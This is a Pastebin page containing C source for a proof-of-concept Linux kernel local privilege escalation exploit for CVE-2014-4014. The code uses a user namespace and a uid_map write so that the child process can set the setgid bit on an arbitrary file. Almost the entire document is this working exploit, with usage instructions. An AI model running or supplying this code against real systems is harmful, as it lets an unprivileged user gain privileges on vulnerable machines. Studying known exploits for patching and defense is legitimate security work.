unknowns-mm

CVE-2014-4014-setgid.c

Sep 30th, 2016
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.71 KB | None | 0 0
  1. /**
  2.  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
  3.  *
  4.  * Vitaly Nikolenko
  5.  * http://hashcrack.org
  6.  *
  7.  * Usage: ./poc [file_path]
  8.  *
  9.  * where file_path is the file on which you want to set the sgid bit
  10.  */
  11. #define _GNU_SOURCE
  12. #include <sys/wait.h>
  13. #include <sched.h>
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <limits.h>
  19. #include <string.h>
  20. #include <assert.h>
  21.  
  22. #define STACK_SIZE (1024 * 1024)
  23. static char child_stack[STACK_SIZE];
  24.  
  25. struct args {
  26.     int pipe_fd[2];
  27.     char *file_path;
  28. };
  29.  
  30. static int child(void *arg) {
  31.     struct args *f_args = (struct args *)arg;
  32.     char c;
  33.  
  34.     // close stdout
  35.     close(f_args->pipe_fd[1]);
  36.  
  37.     assert(read(f_args->pipe_fd[0], &c, 1) == 0);
  38.  
  39.     // set the setgid bit
  40.     chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR);
  41.  
  42.     return 0;
  43. }
  44.  
  45. int main(int argc, char *argv[]) {
  46.     int fd;
  47.     pid_t pid;
  48.     char mapping[1024];
  49.     char map_file[PATH_MAX];
  50.     struct args f_args;
  51.  
  52.     assert(argc == 2);
  53.  
  54.     f_args.file_path = argv[1];
  55.     // create a pipe for synching the child and parent
  56.     assert(pipe(f_args.pipe_fd) != -1);
  57.  
  58.     pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args);
  59.     assert(pid != -1);
  60.  
  61.     // get the current uid outside the namespace
  62.     snprintf(mapping, 1024, "0 %d 1\n", getuid());
  63.  
  64.     // update uid and gid maps in the child
  65.     snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid);
  66.     fd = open(map_file, O_RDWR); assert(fd != -1);
  67.  
  68.     assert(write(fd, mapping, strlen(mapping)) == strlen(mapping));
  69.     close(f_args.pipe_fd[1]);
  70.  
  71.     assert (waitpid(pid, NULL, 0) != -1);
  72. }
Add Comment
Please, Sign In to add comment